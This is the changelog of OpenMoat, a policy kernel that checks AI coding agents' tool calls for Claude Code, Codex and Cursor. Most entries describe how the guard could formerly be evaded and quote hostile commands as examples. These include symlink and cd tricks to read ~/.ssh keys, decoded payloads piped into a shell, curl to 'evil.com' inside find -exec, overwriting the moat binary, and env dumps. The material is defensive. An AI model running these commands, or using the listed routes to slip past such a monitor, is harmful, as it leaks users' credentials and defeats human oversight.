  • Cursor: preToolUse Grep and Glob are file reads of their path (else the working directory), like Claude Code’s; previously they were allowed as ungoverned, so a search of ~/.aws/credentials was never checked.

  • Claude Code: Monitor (runs a shell command, or opens a WebSocket) is governed as a shell command or a network action, LSP as a file read, and PowerShell always asks (unparseable; moat has no PowerShell parser, new Action::ForeignShell). All three were outside the hook matcher and would have been allowed as ungoverned; the matcher now includes them (re-run moat init; moat doctor reports the old matcher as stale). Conformance fixtures accept foreign_shell: { shell, command }.

  • A glob ending in /** also matches the directory itself. grep -r . ~/.ssh, rg -uu . ~/.aws, tar czf k.tgz ~/.ssh and rm -rf ~/.gnupg are now denied by secrets-paths; before, the directory operand matched no deny rule. ln -s ~/.ssh ./s is now denied rather than asked.

  • Relative paths follow cd/pushd in the same command line, so cd ~ && cat .ssh/id_rsa, cd ~/.config && cat gh/hosts.yml and cd s && cat id_rsa (through a link) are denied by secrets-paths; previously the relative path was taken from the session’s directory and only the cd itself asked. Every directory the line may be in is checked; subshells restore it; an unknown target (cd "$DIR", cd -, popd, source, eval) makes later relative paths ask (unparseable).

  • Relative operands are file actions: words containing / for any program, and every operand of programs that read or write files (cat, head, grep -r, cp, mv, rm, tee, …). After ln -s ~/.ssh s in the project, cat s/id_rsa, head s/id_rsa, grep -r . s/ and cat k (a link to a key) were allowed by dev-shell because they produced no fs.read; only cat ./s/id_rsa was denied. They are now resolved through the link and denied by secrets-paths.

  • ~name paths in shell commands are home directories: cat ~me/.ssh/id_rsa (your own user) is denied by secrets-paths and cat ~alice/.ssh/id_rsa is a read of /Users/alice/.ssh/id_rsa (the directory next to your home) that asks. Previously both were reads of <cwd>/~me/… inside the project and were allowed by project-fs. ~+ is the working directory; ~- asks (unparseable).

  • The project root is never the home directory, an ancestor of it or a filesystem root. A session started in ~ outside a repository used ~ as ${project}, so project-fs allowed echo x > ~/.gitconfig, echo x > Library/LaunchAgents/evil.plist and every read in the home directory. Such a session now has no project: ${project} patterns match nothing and those actions ask. A dotfiles repository in ~ no longer becomes the project of every directory below it. EvalContext::project is now an Option; conformance fixtures accept context: { cwd, project }.

  • moat guard denies with exit 2 when it cannot parse its own arguments: an unknown --host, a missing or misspelt flag, an extra operand. It used to exit 64, and Claude Code and Codex treat any exit other than 2 as a non-blocking hook error, so a broken hook command line let every tool call through (ADR-015). Other commands keep exit 64 for usage errors.

  • MCP arguments: nested objects and arrays are searched for path and URL arguments, URL arguments without a scheme are kept as hosts, and arguments that cannot be read (a Cursor tool_input string that is not JSON, more than 1024 derived paths and URLs) are an adapter error, so guard denies. Previously an unparseable string was treated as no arguments and an allowed tool name such as mcp__filesystem__read_file decided alone.

  • State files are owner-only from creation: write_private creates its temporary file with mode 0600 before writing and new parent directories (such as policy.d/) with 0700, moat init tightens an existing state directory, and the audit database is created 0600 before SQLite opens it, so its -wal and -shm files inherit 0600. Previously files were written first and restricted afterwards, policy.d/ was 0755, the WAL files followed the umask, and permission errors were ignored.

  • Lexer: |& is a pipe. It was read as | followed by &, which ended the pipe chain, so base64 -d payload |& sh asked while base64 -d payload | sh was denied by pipe-to-shell.

  • Host detection: a word with a scheme is a network action whatever its host looks like, so curl http://intranet/…, http://2130706433/, http://0x7f000001/ and IPv6 literals (http://[fd00:ec2::254]/) are denied by default.net; previously a host without a dot or with an IPv6 literal produced no network atom and the command only asked. One parser (openmoat_core::host) now serves shell words, WebFetch and MCP arguments; IPv6 hosts are reported without brackets. New ask group local-net keeps localhost, 127.0.0.1 and ::1 at ask.

  • kernel-self denies writes to **/bin/moat and **/bin/moat.exe, the binary every installed hook runs (cp /tmp/evil ~/.cargo/bin/moat, curl -o /usr/local/bin/moat …, ln -sf … /opt/homebrew/bin/moat); previously these asked. curl -o FILE and wget -O FILE / --output-document=FILE are now file writes. First attack fixtures for T10 (hook supply chain).

  • destructive denies abbreviated long options of git push: git accepts any unambiguous prefix, so git push --del origin main deletes the branch, but only --delete was denied and the prefix asked (push). The patterns are now --de* and --for*; no other push option starts with either. --mirror and --prune and their prefixes stay at the push ask (#143).

  • Ask fixtures pin that recursive reads of the home directory and ~/.config (grep -r . ~, rg -uu . ~, find ~, tar czf h.tgz ~, cp -r ~, zip -r, rsync -a, and grep -r . .. from a project in ~) ask, and docs/POLICY.md says why a project root holding a .env stays readable by grep -r TODO . (#143).

  • Documented two limits of the shell classifier in docs/POLICY.md: a CDPATH the shell inherits is not consulted (setting it on the command line asks), and ~name assumes home directories sit side by side; new ask fixtures pin the CDPATH cases (#143).

  • A shell reading stdin after a pipe runs the data a bare cat passes on from its here-document or here-string, or that echo/printf print, as its program: cat <<'EOF' | sh with cat ~/.ssh/id_rsa in the body and echo 'cat ~/.ssh/id_rsa' | sh are denied by secrets-paths. Previously only sh <<'EOF' was classified and these asked (#143).

  • Lexer: <<- strips leading tabs from every here-document body line, not only from the delimiter line. A body fed to a shell with a nested here-document whose delimiter was indented (bash <<-'EOF' … \tX … \tcat ~/.ssh/id_rsa) was unparseable (ask); it is now classified and denied by secrets-paths (#143).

  • kernel-self also denies writes to Scoop’s install of the binary: the apps/moat/current junction hooks run through and apps/moat/<version>/moat.exe (cp evil.exe C:/Users/me/scoop/apps/moat/current/moat.exe, rm -rf …/apps/moat/current). **/bin/moat.exe did not match them, so these asked (ADR-016, #142).

  • Codex: the hook matcher is now Bash|apply_patch|mcp__.* (re-run moat init; moat doctor reports the old matcher as stale). apply_patch file edits become a new Action::Patch { writes } with every added, updated, deleted or moved-to file checked as fs.write (a patch naming no file asks), and Codex MCP calls are mapped like Claude Code’s. Previously Codex file edits and MCP calls were never seen. Conformance fixtures accept patch: [paths].

  • Default policy: env-poison also denies setting MOAT_* variables (MOAT_HOME relocates the kernel’s state; MOAT_ASSUME_TTY is a debug-build test override).

  • kernel-self protects the state and host directories themselves (~/.moat, ~/.claude, ~/.codex, ~/.cursor, and .moat/.claude/.codex/.cursor in projects): mv ~/.moat /tmp/x, ln -sfn /tmp/evil ~/.moat, rm -rf ~/.claude and mv .claude .claude-off are denied; previously only files inside them were protected and these asked. mv now treats its source as a write. The policy lock reports a pinned file as modified when a directory on its path was replaced by a link; previously the changed location was reported as intact.

  • dev-shell no longer allows options that run another program or write files: find -exec/-execdir/-ok/-okdir/-delete/-fprint*/-fls, rg --pre, git --upload-pack/--receive-pack, go -exec/-toolexec/-vettool, cargo --config now ask. The command after find -exec is classified (so find . -exec sh -c 'curl … evil.com' \; is denied by default.net), and --output=FILE is a file write (so git diff --output=~/.zshrc is denied by shell-rc). Previously all of these were allowed by dev-shell.

  • kernel-self denies script, expect and unbuffer wrapped around moat allow|doctor|init|policy (BSD and Linux script forms, expect -c 'spawn …', absolute moat paths); they gave the command a pseudo-terminal to pass the terminal-only check and previously only asked (ADR-011).

  • pipe-to-shell now covers decoded or decompressed content piped into any shell or interpreter reading stdin: base64 -d file | bash, base64 -D, openssl enc -d … | sh, xxd -r -p x | bash, gunzip -c x.gz | tr … | sh, … | base64 --decode | python3 -; and curl/wget output piped into zsh, dash, ksh, fish, python*, node, perl, ruby, php, deno, bun, pwsh. Previously only base64 -d|--decode directly followed by sh/bash with no file argument, and curl/wget into sh/bash, were denied; everything else asked.

  • moat guard resolves symlinks in every path a tool call reads or writes and checks the resolved path as well as the literal one, strictest wins: after ln -s ~/.ssh ./s, cat ./s/id_rsa, echo … >> s/authorized_keys and a Read of proj/s/id_rsa are denied by secrets-paths; previously they were allowed by project-fs. New files resolve through their directory, dangling links through their target. Conformance fixtures accept links: (ADR-009).

  • Default policy: new deny group env-dump for env, printenv, set, export, declare and typeset run with no arguments (or only -0/-p/-x), including /usr/bin/env; they printed every secret in the environment and only asked. printenv NAME is now an env.read of NAME, so printenv GITHUB_TOKEN is denied by env-secrets.

  • Exit code 2 is reserved for deny; usage errors use 64 so a host never mistakes a crash for a block.

  • Secret paths are protected against writes as well as reads.

  • A $ inside single quotes is no longer an env.read (#237): the shell does not expand it, so sed -n '$p' f, sed -e '$d' and awk '{print $NF}' f are allowed by text-tools instead of asking. The lexer records which part of each word came from single quotes. Unquoted and double-quoted variables ("$AWS_SECRET_ACCESS_KEY"), unquoted here-document bodies, $'…' and code run by another shell (sh -c 'echo $SECRET', eval '…') are still reads.
  • A copy or move into a directory is a write of the entry it creates, not of the directory (#224, shell/copy.rs): cp f ~/, mv f ~, cp -t ~ f, rsync -a dist ~/ and cp -r assets / ask again instead of being denied by destructive, and cp .zshrc ~/ is denied by shell-rc. -t DIR/--target-directory are read for cp, mv and ln, so cp --target-directory=.claude settings.local.json is denied by kernel-self (it was allowed as a project write). Replacing the directory itself stays denied (mv ~ /tmp/x, touch ~), and so does a copy whose names are not on the command line (rsync -a dist/ ~/, cp * ~/).
  • A project reached through a symlinked directory (macOS /tmp → /private/tmp, ~/code → /Volumes/dev/code) asked for in-project reads and writes whose path was written in its resolved form (cat /private/tmp/x/a with --project /tmp/x). The CLI now passes the resolved project and home roots to the core (EvalContext::real_project, real_home) and patterns naming ${project} or ~ match under both spellings, exclusions included; deny rules match at least as much as before. Conformance fixtures accept real_project and real_home in context: (#110).
  • moat allow --always on a git command with global options (git -C crates/x status) stored a rule that could never match, because the classifier reports the command as git status and checks crates/x as a read. The approval now names the subcommand the same way. When an option can run a program (-c core.fsmonitor=…), the command line is kept as written, as the classifier does. Found by the literal_pattern fuzz target.
  • moat policy check against the installed policy verifies policy.lock first, like guard, and reports the kernel-integrity deny (exit 2) when a pinned file changed; it used to report the policy’s own verdict, e.g. allow for a call guard denied.
  • moat init lists the events it installed for each host (PreToolUse, ConfigChange for Claude Code, Cursor’s four before…/preToolUse events) instead of PreToolUse for every host.
  • moat status reports a missing lock as missing, pointing to moat init, instead of a raw os error 2. moat allow <cmd> without --session names the choices (--host and --session, --always, or --last) instead of claiming --session needs --host; moat allow --last says the last ask “wanted to run” its command rather than that it ran; and moat allow --always warns when a deny rule already covers the new rule, so it can never decide anything (the rule is still written).
  • moat show | head exits 0 quietly when the reader closes the pipe instead of printing moat: Broken pipe (os error 32) and exiting 64, and the id column of the show and status tables is padded so rows line up with the header.
  • moat status, init, doctor, allow and policy lint also exit 0 quietly on a closed pipe (moat status | head -1); they printed with println!, which panicked and exited 101. init, allow and doctor --accept finish writing files and re-pinning the lock before they stop. moat guard still denies with exit 2 when it cannot write its response, including after an internal error (ADR-015) (#141).
  • Error messages name their cause once: PolicyError, HostError and StoreError already include the cause in their message and no longer also expose it as source, so moat policy lint and guard reasons stopped repeating it (expected ident at line 1 column 2: expected ident at line 1 column 2). PolicyError::BadGlob’s field is now error. A hook payload that is valid JSON of the wrong shape is reported as payload is JSON but does not fit the hook schema instead of payload is not valid JSON; it is still denied with exit 2.
  • Hooks survive package-manager upgrades: moat init writes the stable install path (Homebrew/Linuxbrew <prefix>/bin/moat, Scoop apps/moat/current, or the link moat was started by) into hooks and the lock, and only when it resolves to the running binary. Previously it wrote current_exe(), which on Linux is the versioned Cellar/moat/<version> file; brew upgrade and brew cleanup deleted it, the hook could not start and Claude Code and Codex ran the tool call unchecked. moat doctor and moat status now say when a hook’s binary does not exist or is a different moat than the one checking (Cursor hooks included; they showed ?). Re-run moat init once after upgrading (ADR-016).
  • CI: the fuzz smoke job failed on every run since fuzzing landed. The repository’s rust-toolchain.toml pins 1.95, that pin also applied inside fuzz/, and cargo fuzz needs nightly -Z flags. fuzz/rust-toolchain.toml now pins the nightly for that workspace, so a plain cargo fuzz run works locally too.
  • Claude Code ConfigChange: the payload current Claude Code sends (no change_type, file_path optional) is accepted; previously every real settings change, including the user’s own “always allow” writes, was denied kernel-error with exit 2. A change that names no file is blocked only when a pinned file no longer matches the lock. A ConfigChange payload that cannot be parsed is now refused as {"decision":"block"} instead of a PreToolUse document.
  • A command containing a backslash (echo C:\\temp) made moat allow --always write a glob with a dangling escape, so the overlay failed to lint and every following call was denied until it was edited by hand; an escaped separator word (Z;\&;\&) made the classifier panic (pipeline slice out of range), which guard turned into a deny. Both found by fuzzing. On Windows, a backslash in a shell rule word never matched, because globset rewrites \ to / in every candidate; rules like a deny on del 'C:\\Windows\\*' were silently dead there. Shell words now match byte for byte on every platform, and a backslash escapes the next character everywhere.
  • moat policy check decides the way guard does: symlinks in checked paths are resolved, and programs are resolved through the installation snapshot when ~/.moat/environment.json exists (so policy executables: pins are checked against real locations instead of reporting “not found”). moat doctor --accept refuses to pin a policy that does not lint, and clears only lock and binary problems after re-pinning (typed checks instead of matching message prefixes).
  • Audit log: an event whose stored action cannot be decoded is shown as (action unreadable) by show, replay and report (and carries action_unreadable in JSON) instead of looking like an ungoverned tool; verdicts are decoded through Verdict.
  • moat allow --always stores the command as a literal pattern (cat * becomes cat [*]; a leading ! or trailing $ stays literal); previously glob characters widened the permanent rule. New overlay ids are one past the highest existing approved-N; previously deleting approved-1 made the next approval reuse an existing id, the policy failed to lint and guard denied everything until the overlay was fixed by hand.
  • moat policy check takes --project and --cwd as lexically absolute paths, like guard takes the host’s cwd; it used to canonicalise them, so on macOS (/tmp → /private/tmp) and Windows (8.3 short names, \\?\ prefix) a file inside the project no longer matched ${project} rules. Windows: canonical paths no longer carry the \\?\ verbatim prefix, so lock keys and symlink resolution stay stable; program resolution honours PATHEXT (recorded in environment.json at moat init; older snapshots fall back to .com;.exe;.bat;.cmd). Lock files written on Windows by earlier builds drift once and must be re-pinned with moat doctor --accept.
  • Shell classification: make/gmake arguments that run code (--eval/-E, -e, SHELL=, .SHELLFLAGS=, MAKEFLAGS=, NAME!=cmd, $(shell …) in variable values) are classified on their own, so make test SHELL=/tmp/x and make test --eval 'x:;cat ~/.ssh/id_rsa' no longer pass as make test* (dev-shell); embedded commands are evaluated like any other, --file=/--directory= values are file reads.
  • moat guard denies (kernel-error, exit 2) when the audit log cannot be opened or written, when the hook response cannot be written to stdout, or when the kernel itself panics; previously an unavailable log printed a warning and the call proceeded unrecorded, and a panic exited 101, which Claude Code treats as non-blocking. guard no longer recreates a deleted audit.db; only moat init creates it.
  • Host detection: a bare dotted token without a scheme is a host only when its last label is a known top-level domain, so python -c "import sys; print(sys.version)", node -e "console.log(process.version)" and git commit -m fix.bug no longer produce a network atom (and a false default.net deny). Tokens with a scheme and IPv4 literals are unchanged.
  • Shell classification: pnpm exec|dlx, yarn exec|dlx, npm exec|x, bun x, npx and bunx are treated as wrappers, so the program they run is classified on its own (pnpm exec sh -c '…' parses the shell string); -c/--call strings given to package runners are parsed as shell. Previously the whole command matched the outer pnpm * allow rule.
  • Policy lock: a pinned file replaced by a symlink (or a re-pointed link) is now reported as modified and denies with kernel-integrity; previously the swapped file was treated as unpinned and the kernel ran under the attacker’s policy.
  • Shell classification: tokens that traverse (src/../x) or name a hidden entry (.env, config/.env.local, .ssh/id_rsa) are now treated as paths, so cat .env and cat src/../../.ssh/id_rsa produce file-read atoms and hit secrets-paths; previously only tokens starting with /, ~, ./ or ../ did and such commands were allowed by dev-shell.
  • Audit redaction now runs on the structured action before it is JSON-encoded. Previously it ran on the encoded text, where escaped quotes broke the patterns: a command such as curl -H "X-Api-Key: …" was stored as invalid JSON (making moat show, replay and report fail for the whole window) and export PASSWORD="…" kept the secret. Rows with an unparsable action cell are now read with the action omitted instead of failing the query.
  • Renamed to OpenMoat, by Crocodile Labs (#122). The repository moved from agentmoat/moat-kernel to crocodile-labs/openmoat (old URLs redirect) and the Homebrew tap to crocodile-labs/homebrew-tap (brew install crocodile-labs/tap/moat). Before the first crates.io publish the packages become openmoat-core, openmoat-hosts, openmoat-audit, openmoat-proxy and openmoat (was moat-kernel; cargo install openmoat, installers openmoat-installer.sh and .ps1). Nothing changes at run time: the binary is still moat, with the same subcommands, ~/.moat, MOAT_HOME and other MOAT_* variables, hook commands and paths, policy and audit schemas, rule ids and exit codes. Hooks installed by earlier builds keep working. Only moat --help, moat --version and the kernel-self reason now say OpenMoat.
  • Crate folders are crates/openmoat-* to match their package names, and the docs, CLI help, comments and messages call the product OpenMoat (the command stays moat; ~/.moat, MOAT_*, hook commands, rule ids and the audit tags are unchanged).
  • Default policy: new text-tools allow group for sort, uniq and cut (#212), which asked before. Their options are read the way getopt reads them (shell/text.rs): an option value is data, not a file (cut -d '/' -f 2 x no longer reads /), sort -o/--output/-T and uniq’s second operand are fs.writes (inside the project allowed, sort -o ~/.zshrc denied by shell-rc), and an option the classifier does not know (--compress-program, --files0-from, a GNU abbreviation) becomes a <program> @<option> shell action that the group excludes, so it asks.
  • text-tools also allows sed (#212): sed -n 1,20p f, sed 's/a/b/' f and sed -n '/a/,/b/p' f on project files no longer ask. Scripts that run a command or cannot be read still ask (sed @<script>). -i/--in-place writes every file operand and its backup (-i.bak), so an in-place edit inside the project is allowed and sed --in-place … ~/.zshrc is denied by shell-rc. -i in a cluster (-ni) and --in-place are now writes too; before, only words starting with -i were. A bare -i followed by a script (sed -i 's/a/b/' f, which BSD sed reads as a suffix) asks.
  • text-tools also allows awk (#212): awk '{print $1}' f and awk -F, '$3 > 100 {print $1}' f no longer ask, and the program’s words are not file reads. A program with system, a pipe, getline, ENVIRON, ARGV, @ or a > after print, a -f program file and options other than -F/-v become an awk @<text> shell action, which asks (shell/awk.rs). Words after the program are files even when they look like options.
  • Performance: moat guard decides about 5× faster. A release build on an Apple-silicon laptop went from a median of 14.5 ms (p95 15.6 ms) to 2.7 ms (p95 2.9 ms) for an allowed git status, measured by the audit’s latency_us. End to end, including process start and the audit write, p95 went from 21.8 ms to 8.1 ms. Loading the policy used to build a regex for every pattern twice, once to lint it and once to compile it for the session. Now shell words without glob syntax (git, push, --force) compare as plain strings. Every other pattern is still parsed up front, so a bad pattern fails as before, but its regex is only built the first time a decision consults it. Decisions are unchanged.
  • show --format json and replay --format json write event ids as the hex string text output prints and moat show <id> takes ("id": "1f"), not as a decimal number. Integer ids still deserialise.
  • Default policy dev-shell allows cd, pushd, popd, mkdir, touch, cp, mv, rm, git checkout, jq, true and python3 -m pytest. Each of these asked before, which made cd src && cargo test and ordinary file moves the most common prompts. Their path operands are fs actions that follow cd and symlinks, so writes outside the project ask, and protected paths are still denied. Recursive rm, git checkout ., git checkout -- … and forced checkouts still ask. The README no longer claims that pnpm, yarn and cargo installs are allowed; they ask.
  • Policy: new kind fetch for a URL read by a host’s own fetch tool (Claude Code WebFetch, new Action::Fetch and AtomicAction::Fetch). It is a narrower kind of net: net patterns in every list match it too, fetch patterns match nothing else, and defaults.net applies when defaults.fetch is unset. The default policy sets fetch: ask, so a WebFetch of an unlisted host (https://docs.rs/…) now asks instead of being denied by default.net; curl, wget, nc, a Monitor WebSocket and MCP URL arguments to the same host stay denied, and registries still allows both (ADR-017). Schema v1 gains the optional fetch key in rule groups and defaults; moat policy check --kind fetch and conformance fixtures (fetch: <url>) accept it. Policies without the key behave as before, since a fetch then takes the net rules and default. moat show describes a Monitor WebSocket as net <url> and a WebFetch as fetch <url>.
  • Fuzzing: fuzz/ adds cargo fuzz targets for the command classifier, policy loader, host payload adapters and approved-command patterns, seeded from the conformance fixtures; CI runs them on every pull request and longer weekly.
  • The default policy moved to crates/openmoat-core/policies/default-v1.yaml and is exported as openmoat_core::DEFAULT_POLICY. The binary crate read it from outside its crate, so it could not be published; every crate now packages and builds from its tarball, and CI checks that on each PR (cargo package --workspace).
  • Package metadata: the openmoat description no longer claims OpenClaw support. It says what ships in this alpha: allow, ask or deny for Claude Code, Codex and Cursor tool calls, the Claude Code and Codex sandboxes configured from the same policy, and an audit log. The sandbox keyword is replaced by guardrails. Every package ships the README and both licence files. In deny.toml, the tokio and reqwest bans named a binary crate that does not exist. With the name fixed, the bans let only the binary crate pull those crates in, as intended.
  • Policy: approval: and scope: are reserved. They were parsed but never consulted; they remain accepted so existing files stay valid, moat policy lint now warns that they have no effect, and the default policy no longer writes an approval: block.
  • openmoat-core API: typed Kind (with FromStr) replaces kind strings in AtomicAction::kind, Action::kind, Defaults::for_kind and the new RuleGroup::patterns; EvalContext::case_insensitive_paths replaces a compile-time platform switch inside the core (the CLI sets it for macOS and Windows).
  • openmoat-core API: Verdict implements FromStr (UnknownVerdict); Decision::single builds a one-rule decision. Internally one generic matcher replaces the duplicated glob and shell list matching, and one helper splits ! exclusions.
  • openmoat-core exposes only its API (Action, CompiledPolicy, EvalContext, Policy, RuleGroup, Decision, Verdict, the resolver traits, lint, literal_shell_pattern); the lexer, classifier, pattern, path and host modules are internal. moat allow --always uses literal_shell_pattern from the core.
  • Conformance fixtures carry threat: T1…T12 (required for attacks and asks); docs/COVERAGE.md is generated from them and the suite fails when it is stale or a threat class has no attack fixture.
  • ADR-013: alpha releases are decide-only and say so; OS enforcement gates the beta and MoatBench gates 1.0 (supersedes the release clause of ADR-003).
  • moat allow and moat doctor --accept success paths are covered end to end (tests/allow.rs): session grant via --last and explicit --session, --always overlay with lock re-pin, doctor --accept after an owner edit. Debug builds honour MOAT_ASSUME_TTY=1 for these tests; release builds do not contain the override.
  • Default policy: new allow group dev-readonly (wc, diff, tree, read-only docker ps/images/logs/version, gh pr/issue/run/repo view and list commands, reads of PATH, HOME, USER, SHELL, PWD, LANG, TERM, TMPDIR, EDITOR); --output/-o forms are excluded. The benign conformance corpus grows from 34 to 87 fixtures.
  • Shell pattern lists accept ! exclusions, with the same semantics as glob lists (ADR-012).
  • moat policy lint prints warnings (exit 0) for ask patterns an allow pattern already covers, allow patterns a deny pattern covers, and unknown defaults kinds; executables paths in Windows form (C:/…) are accepted as absolute.
  • Shell patterns: a trailing bare $ anchors the end of argv (env $ matches env but not env FOO=1 cmd); $ elsewhere is literal and a pattern of only $ fails lint (ADR-010).
  • Default policy: dev-shell lists explicit subcommands instead of pnpm *, yarn *, cargo *, make *, so the installs and push ask rules are reachable again (cargo add/install/publish, pnpm add/install, yarn add/install now ask; npx/dlx ask). New dev-tools allow group (tsc, eslint, prettier, vitest, jest, ruff, mypy, …). destructive matches rm -rf /* literally (no longer every absolute path), adds -fr variants, --no-preserve-root, git branch -D, git stash drop/clear. kernel-self also matches moat run by absolute path. secrets-paths adds .envrc.
  • Project standards: AGENTS.md contract, CONTRIBUTING, SECURITY, Code of Conduct, pinned-SHA workflows, Conventional Commits PR titles, Dependabot, CODEOWNERS, issue forms, PR template, single quality-gate script, clippy thresholds, rustdoc -D warnings, architecture tests, ADR-001…004.
  • CI: pr-standards applies type:/area:/size:/risk: labels from the title and changed paths, fails PRs over 500 lines (unless size: override) or without Testing and Security impact sections; labels are defined in scripts/ci/sync-labels.sh.
  • CI: moat-reviewer GitHub App posts an advisory first-pass review on every pull request (pr-review.yml); @moat-reviewer re-runs it.
  • Dependencies: rusqlite 0.40, sha2 0.11, actions/checkout v7.0.1, action-semantic-pull-request v6.1.1.
  • Windows: canonical slash-separated paths keep C:/ and UNC roots.
  • Documentation restructured for the decide-only alpha (#94). New docs/ROADMAP.md, docs/ARCHITECTURE.md, docs/THREAT_MODEL.md and an ADR index (docs/adr/README.md). docs/OVERVIEW.md, DESIGN.md, STRENGTH.md, PROGRESS.md, TECH_STACK.md and REPO_STRUCTURE.md are retired; what was still true moved into the new documents. README: git clone install step, CLAUDE_CONFIG_DIR, examples checked against the default policy. SECURITY.md: supported versions (latest alpha only). moat --help says what the operating system does and does not enforce.